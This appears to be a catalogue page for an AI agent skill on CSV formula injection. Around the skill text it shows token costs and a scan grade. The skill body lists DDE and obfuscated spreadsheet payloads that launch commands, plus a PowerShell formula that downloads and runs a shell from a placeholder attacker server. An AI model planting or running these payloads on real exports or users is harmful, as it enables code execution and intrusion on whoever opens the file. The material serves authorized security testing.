Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00041 | $0.01151 |
| Opus 5 | $0.00020 | $0.00575 |
| Sonnet 5 | $0.00008 | $0.00230 |
| Haiku 4.5 | $0.00004 | $0.00115 |
Grade A, and why
csv-formula-injection scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Not a fault in itself. Listed so you know the mod talks to something, and to what.

100% identical to csv-formula-injection — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

SKILL: CSV Formula Injection
AI LOAD INSTRUCTION: This skill covers formula/DDE-style injection in CSV and spreadsheet contexts, obfuscation, cloud-sheet primitives, and safe testing methodology. Use only where explicitly authorized; payloads that invoke local commands or remote fetches are impactful—prefer lab targets and document consent. Do not target end users without program rules allowing client-side execution tests.
0. QUICK START
Characters that may trigger formula evaluation when a cell is opened in Excel, LibreOffice Calc, or similar (often only if the cell is interpreted as a formula):
=
+
-
@
Test cells may look like:
name,value
test,=1+1
test,+1+1
test,-1+1
test,@SUM(1+1)
Routing note: when testing CSV exports, back-office reports, or user data opened in spreadsheets, prioritize these prefix characters.
1. DDE INJECTION (EXCEL / LIBREOFFICE)
Dynamic Data Exchange (DDE) and external call patterns historically abused in spreadsheets. Examples for controlled lab reproduction:
DDE("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
=cmd|' /C calc'!'A1'
PowerShell-style chaining (lab only; replace host and payload with benign equivalents):
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
2. OBFUSCATION
Defensive parsers may strip obvious patterns; testers may try noise and spacing (still only where allowed):
AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
Extra whitespace after =:
= cmd|'/c calc.exe'!A
Dispersed characters / unusual spacing (conceptual pattern—adjust per parser):
= C m D |'/c calc.exe'!A
rundll32 style:
=rundll32|'URL.dll,OpenURL calc.exe'!A
3. GOOGLE SHEETS
If exported data is later opened in Google Sheets, or sheets pull from untrusted CSV, these functions can cause outbound requests or cross-document data pulls:
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

csv-formula-injection is a skill published in the GitHub repository DorianGallo/hack-skills-local (5 stars, last pushed 3mo ago), licensed MIT. It adds 41 tokens to every session and 1,151 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 100% identical to csv-formula-injection, differing in 0 lines, and is treated as a copy.
